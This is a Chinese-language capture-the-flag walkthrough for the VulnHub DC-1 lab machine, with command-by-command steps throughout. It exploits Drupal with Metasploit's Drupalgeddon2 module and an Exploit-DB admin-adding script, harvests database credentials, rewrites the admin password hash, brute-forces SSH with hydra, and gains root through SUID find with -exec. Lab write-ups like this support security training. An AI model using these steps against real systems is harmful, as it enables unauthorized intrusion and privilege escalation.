DC-1
# 靶机下载
下载地址为 https://download.vulnhub.com/dc/DC-1.zip
可在 https://download.vulnhub.com 查看相关下载
攻击机为 kali2022 (版本忘了)
# 渗透过程
# flag1
打开 kali 扫描靶机
arp-scan -l |
也可以使用 nmap 扫描 (此处请根据实际修改 IP)
ifconfig | |
nmap -sP 192.168.232.0/24 |
发现目标主机后扫描开放端口
nmap -sV -A 192.168.232.133 |
发现开启了 80 端口,访问查看页面信息
通过 Wappalyzer 发现网站 CMS 为 Drupal
使用 msf 进行渗透
msfconsole | |
search Drupal |
用较新的漏洞进行尝试
use exploit/unix/webapp/drupal_druopalgeddon2 | |
show options | |
set RHOSTS 192.168.232.131 | |
run |
成功得到 shell,使用 py 得到交互 shell
shell | |
python -c 'import pty; pty.spawn("/bin/bash")' |
查看文件目录发现第一个 flag 执行 cat 命令查看内容
# flag2
该 flag 提示查找 Drupal 框架配置文件
Drupal 默认数据库配置连接–>/sites/default/settings.php
直接 cd 到该目录下查看
cd /var/www/sites/default | |
ls | |
cat settings.php |
# flag3
在 flag2 里发现了数据库用户和密码,连接一手
mysql -udbuser -pR0ck3t |
select * from users 查询得 admin 账户
由于得到的密码是密文,无法直接登录,这里有两种方法解决
方法一:更改账户密码
使用 Drupal 对数据库的加密方法,加密脚本位置在网站根目录下的 scripts 下
回到 /var/www 路径下,运行这个 password-hash.sh 加密脚本,得到新密码
cd /var/www | |
php scripts/password-hash.sh 114514 |
将密文更改密码 (此处需要临时抱佛脚回忆一下 sql 语句)
update users set pass='$S$Db1FwryLsYBPfvEpR870QjGzJfPi64teqeVZrAZyjMh7HND/Ca4q' where uid=1; |
回到靶机 80 端口开放的页面进行登录,
在 Dashboard 得到第三个 flag
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
方法二:利用漏洞添加账户
SearchSploit 是一个用于搜索 Exploit-DB 漏洞数据的命令行工具,它可以允许你离线 Exploit 数据库,这样你就可以在本地执行离线搜索,这对于有时候不能联网的渗透工作非常的有用。
之前使用 Wappalyzer 知道 drupal 版本为 7.2
利用 searchsploit 进行攻击
searchsploit drupal | |
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.232.133 -u admin2 -p 114514 |
这里使用 py2 的原因是 py2 对于 print 的使用不严
如果在使用以上命令有报错可以尝试声明 python2
重新登录一下 mysql 查看,发现用户已经添加了
# flag4
flag 的提示词是 passwd、-exec、shadow,看一下 /etc/passwd, 发现 flag4
看一下 /home/flag4 的文件,尝试 cat flag4/flag4.txt,拿到 flag4,发现提示我们将权限提升到 root
根据提示把权限提升至 root, 进行 SUID 提权
什么是 suid?suid 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者 / 组的权限。需要注意的是,只有程序的所有者是 0 号或其他 super user,同时拥有 suid 权限,才可以提权。
一个典型的例子是将 SUID 权限分配给 find 命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道’find’命令包含用于执行命令的参数,但攻击者可以以 root 特权执行命令。
find 命令是包含用于执行命令的参数的,如果 find 以 SUID 权限运行,所有通过 find 执行的命令都会以 root 权限运行。
也可以用 hydra 工具爆破密码,下载 John 密码包
wget clone http://www.openwall.com/john/j/john-1.8.0.tar.gz | |
tar -xvf john-1.8.0.tar.gz | |
cd john-1.8.0/src | |
make linux-x86-64 |
使用如下命令进行暴力破解
hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.101.11 -f -vV -o hydraflag4.ssh |
如果直接进行了提权操作就不需要对 flag4 进行暴力破解了,可以直接看到 flag4 信息,但 flag4 用户无法查看 /root 目录内的文件信息
建议进行提权
Flag4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
你能用同样的方法来查找或访问根目录中的标志吗?
可能。但也许不是那么容易。或许是这样?
# flag5
首先找一下有 SUID 权限的文件
find / -perm -4000 |
看到 find 命令有 SUID 权限,所以这里可以利用 find 命令进行提权
用 find 命令包含的 - exec 参数进行提权
find /var/www -exec "/bin/sh" \; |
这个命令中的 /bin/sh 是 linux 内核和用户之间的命令解释器,由此完成提权
得到最后一个 flag
thefinalflag:
Well done!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
做得好!!!!!
希望你喜欢这个并学到了一些新的技能。
你对这次小旅行的看法。
通过 Twitter 联系我 -@dcau7
End